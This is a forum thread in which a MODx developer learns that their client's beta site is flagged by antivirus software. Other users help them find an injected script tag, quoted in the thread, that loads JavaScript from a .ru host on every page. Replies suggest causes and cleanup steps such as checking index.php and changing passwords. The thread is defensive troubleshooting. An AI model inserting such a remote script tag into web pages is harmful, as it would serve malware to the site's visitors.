Am I hacked?

ON my first development with modx. I just gave my customer the beta address http://collicutt.rithetsview.com and thy tell me their antivirus throws a fit when they try to open the site: Malicious software detected!

I’ve checked my site with all the tools that I can think of (google, housecall, Norton, AVG) but they all check out. index.php and other files seem normal.

On one computer I tried there was an antivirus warning but it wasn’t directed at the site so possibly coincidence. I’ve tried at least half a dozen computers.

Has anyone had these kind of issues with modx? Or is it strictly a malware issue?

Thanks for any advice.

Avast! is catching
HTML:Script-inf (calling it virus/malware)
when I hit that URL.

Thanks mconsidine - that gave me the clue. There is some script on the site that is adding

<script type="text/javascript" src="h$$p://pantscow.ru:8080/Optical_Drive.js"></script>
<!--2ec42eb26c35a6159fd7dc76f9f31929-->

to every page. Even every Un Authorized .html page in the file system has this little add on.

How do I find out which file is adding this script? Could it come from a .php or from a .js file.

Is it possible I picked it up in a snippet download? I’ve only downloaded snippets from the extras site here on MODxcms so I doubt it.

Can a snippet cause a security breach?

Lots of questions, I know. Thanks to everyone who can help.

Sure, snippets can break up your system. You´re executing PHP directly.
In a bad case, someone forgot to sanitize user´s input, so that someone could insert some JavaScript like yours mentioned above.
This indeed is a "could be", not a "mustn´t be". Go and check your setup there with modx and every content, a user put in.

Worst case would be some kind of malicious snippet out there... But I can´t really think of that. Cos Snippets are plain PHP, so that every "better" developer should notice something bad is happening.

The .ru domain in the JS code is a warning flag, as is the addition of the code to multiple spots in the site. It does appear that you’ve been hacked.

For starters, take a look at the code in the root index.php file and see if there’s anything suspicious there. Changing your passwords would also be a good idea (MODx, DB, cPanel, etc.).

i don’t know if this could help you, but i had one time a problem like yours.

and finally, it was my hosting company that had a security failure on their servers and every site hosted on these servers were infected.
maybe you should ask your hosting company....

good luck!

Thanks to all for your help. I was able to clean it and notified the host. Passwords are changed and we’ll see what happens next.

Thanks again.